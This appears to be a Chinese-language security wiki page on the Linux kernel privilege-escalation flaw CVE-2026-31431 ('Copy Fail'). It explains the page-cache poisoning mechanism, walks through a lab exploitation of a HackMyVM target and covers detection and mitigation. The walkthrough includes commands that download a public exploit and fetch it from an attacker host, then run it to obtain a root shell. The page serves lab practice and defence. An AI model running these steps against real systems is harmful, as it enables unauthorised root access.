跳到主要内容

CVE-2026-31431 Copy Fail Linux 内核提权

Copy Fail(CVE-2026-31431)是 Linux 内核本地提权漏洞。它利用 authencesnAF_ALGsplice(2) 的组合,让非特权本地用户对目标文件的 page cache 进行受控 4 字节写入。由于写入发生在页面缓存中,磁盘文件本身不一定改变,但后续 execve()read() 等路径可能读取到被污染的缓存内容。

本文只用于授权实验、靶场复现和防御验证。不要在生产系统或未授权主机上运行 PoC。该漏洞是本地提权漏洞,通常需要先获得目标上的普通用户执行权限。


快速结论

项目内容
CVECVE-2026-31431
名称Copy Fail
类型Linux Kernel Local Privilege Escalation
关键组件authencesnAF_ALGalgif_aeadsplice(2)
利用前提本地非特权用户可执行代码,可读取目标文件
典型目标/usr/bin/su/etc/passwd 等可被利用的 page cache 目标
主要风险普通用户提权到 root;容器 / 多租户场景可能扩大影响
修复方向更新包含修复 commit 的发行版内核;临时禁用 algif_aead

影响范围

官方披露页给出的判断是:如果内核构建时间处于 2017 年相关 in-place 优化引入之后、修复补丁合入之前,就可能处于影响范围。该漏洞不需要远程网络入口,但任何 Web RCE、弱口令 SSH、CI runner 代码执行、容器逃逸链条中的本地代码执行,都可能把它作为提权步骤。

高风险场景:

场景风险
多用户 Linux 主机任意普通用户可能获得 root
CI / 构建服务器不可信任务代码可能提权到 runner 主机
容器 / Kubernetes 节点page cache 共享可能形成跨容器或节点级风险
Web 服务被打点后Web 用户可把本地提权串进攻击链
单用户桌面本地恶意程序可从普通用户升级为 root

漏洞原理

Copy Fail 的核心不是传统文件写入,而是 页面缓存污染

  1. AF_ALG 暴露 Linux 内核加密接口给用户空间。
  2. splice(2) 可以把文件页面引用传递到管道和 socket,避免复制到用户空间。
  3. AEAD 解密路径中的 in-place 优化让输入和输出 scatterlist 产生重叠。
  4. authencesn 在处理 ESN 字段时会在预期输出边界附近写入 4 字节。
  5. 这 4 字节可落到目标文件的 page cache 上。
  6. 认证失败会让操作返回错误,但已写入 page cache 的 4 字节不会自动回滚。

简化理解:

目标文件磁盘内容 目标文件 page cache
┌────────────────┐ ┌────────────────┐
│ /usr/bin/su │ │ /usr/bin/su │
│ 原始二进制 │ splice │ 被污染的缓存 │
│ 权限位不变 │ ───────► │ 载荷片段写入 │
└────────────────┘ └────────────────┘

磁盘 hash 可能不变,但执行路径会读取 page cache。

这也是它危险的地方:普通文件完整性检测只看磁盘内容,可能看不到页面缓存中的临时污染。


利用路线

方案 A:覆写 /usr/bin/su 页面缓存

这是靶场中最直观的利用方式:选择 setuid-root 二进制 /usr/bin/su 作为目标,把页面缓存中的内容逐块替换成执行 setuid(0)setgid(0)execve("/bin/sh") 的载荷。

1. 普通用户可读 /usr/bin/su
2. Copy Fail 污染 su 的 page cache
3. 磁盘上的 su 权限位仍是 setuid-root
4. 执行 /usr/bin/su
5. 内核加载 page cache 中的载荷
6. 获得 root shell

方案 B:覆写 /etc/passwd 页面缓存

如果 setuid 目标不可读,也可以考虑污染 /etc/passwd 的 page cache,例如把当前用户的 UID 字段临时变成 0000。这种方式依赖认证流程如何读取 passwd / shadow 数据,实战时需要单独验证。

1. 定位当前用户在 /etc/passwd 中的 UID 字段
2. Copy Fail 把 page cache 中的 UID 改为 0000
3. 磁盘文件不变
4. 后续读取 passwd 的进程看到被污染的缓存
5. 可能获得 root 身份上下文

方案 C:Python ctypes 实现

官方 PoC 是 Python 方向,利用思路不变:仍然是 AF_ALG + splice(2) + page cache 污染。差异在于实现方式:

  • Python 3.10+ 可能直接使用 os.splice()
  • 某些环境缺少 os.splice() 时,可以用 ctypes 手动调用 syscall。
  • CTF 靶机中如果 Python 环境不稳定,C 静态编译版本通常更可控。

附件中的 copyfail_cmd.py 是 Python ctypes 版本,适合靶机 Python 没有 os.splice() 的环境。它默认污染 /usr/bin/su 的 page cache,并把命令通过管道传给变异后的 su

cd /tmp
wget -q https://www.beehack.com/files/vulnerabilities/linux/cve-2026-31431/copyfail_cmd.py -O copyfail_cmd.py
python3 copyfail_cmd.py 'id; whoami'

实验环境利用 Demo

以下命令以 HackMyVM GameShell5 的授权靶场环境为例,目标是 192.168.1.110,普通用户是 noob。生产系统不要直接照抄执行。

1. 确认内核与本地权限

uname -a
id

GameShell5 中关键环境:

Linux GameShell5 4.19.0-27-amd64
uid=1000(noob) gid=1000(noob) groups=1000(noob),4(adm)

2. 编译 C 版本 PoC

在攻击机或同架构编译环境中构建:

git clone https://github.com/tgies/copy-fail-c.git /tmp/copy-fail-c
cd /tmp/copy-fail-c
make exploit exploit-passwd
strip exploit exploit-passwd

3. 分发到靶机

攻击机启动 HTTP 服务:

cd /home/kali/wp/GameShell5/tools
python3 -m http.server 8080 --bind 0.0.0.0

靶机下载:

cd /tmp
wget -q http://192.168.1.113:8080/exploit -O exploit
chmod +x exploit

4. 执行 /usr/bin/su 页面缓存方案

./exploit &
sleep 6
echo "id; whoami; cat /root/root.txt" | /usr/bin/su

预期结果:

uid=0(root) gid=0(root) groups=0(root),4(adm),1000(noob)
root
flag{root-723e74e2633361fb7aa5b6118cf95b60}

关键点:

  1. ./exploit & 放到后台,避免 exploit 替换当前 shell 后阻断后续命令。
  2. 变异后的 su 不解析 -c,所以用管道把命令喂给 root shell。
  3. sleep 6 是等待页面缓存变异完成,具体时间取决于环境。

5. 备用变体

exploit-passwd 变体用于污染 /etc/passwd 页面缓存:

wget http://192.168.1.113:8080/exploit-passwd -O /tmp/exploit-passwd
chmod +x /tmp/exploit-passwd
./exploit-passwd

该变体不一定适合所有环境。优先把它当作实验室验证和备用路线,而不是默认生产检查手段。


检测与排查

Copy Fail 的排查难点在于:磁盘文件可能不变,页面缓存被污染后才影响执行路径。因此不要只依赖 md5sum /usr/bin/su 这种磁盘 hash 检查。

可关注的方向:

方向说明
内核版本优先核对发行版安全公告和当前 kernel package
模块使用关注 algif_aeadAF_ALG 是否可用
行为审计非预期用户创建 AF_ALG socket、频繁调用 splice(2)
SUID 执行异常普通用户执行 su 后直接出现 root shell
容器节点多租户节点尤其要关注内核补丁状态

实验环境中,如果需要恢复 page cache 状态,可以重启,或在确认影响范围后清理缓存。生产系统应优先走补丁和应急响应流程。


缓解与修复

优先级最高的是更新发行版内核,确保包含上游修复。官方披露页提到的修复方向是回退 2017 年 algif_aead 的 in-place 优化,使 page cache 页面不再进入可写 destination scatterlist。

无法立即更新内核时,可以评估临时禁用 algif_aead

echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead

注意:

  • 先评估是否有业务显式依赖 AF_ALG AEAD。
  • 大多数常见 TLS、SSH、LUKS、OpenSSL 默认路径不直接依赖 AF_ALG AEAD,但仍应以本机实际配置为准。
  • 临时缓解不能替代内核更新。

在靶场中的应用

GameShell5 中,Copy Fail 是 root 提权阶段的关键:

LessPass 参数泄露 -> SSH noob -> LinPEAS 命中 Copy Fail -> C 静态 exploit -> root shell

具体通关过程见:HackMyVM GameShell5 通关记录

Rsscross 中,内核 4.19.0-27-amd64 也满足 Copy Fail 影响条件,但靶机主线更贴近 groff -> smassh sudo 逻辑链,因此 Copy Fail 作为备用路线记录。对应通关记录见:HackMyVM Rsscross


参考资料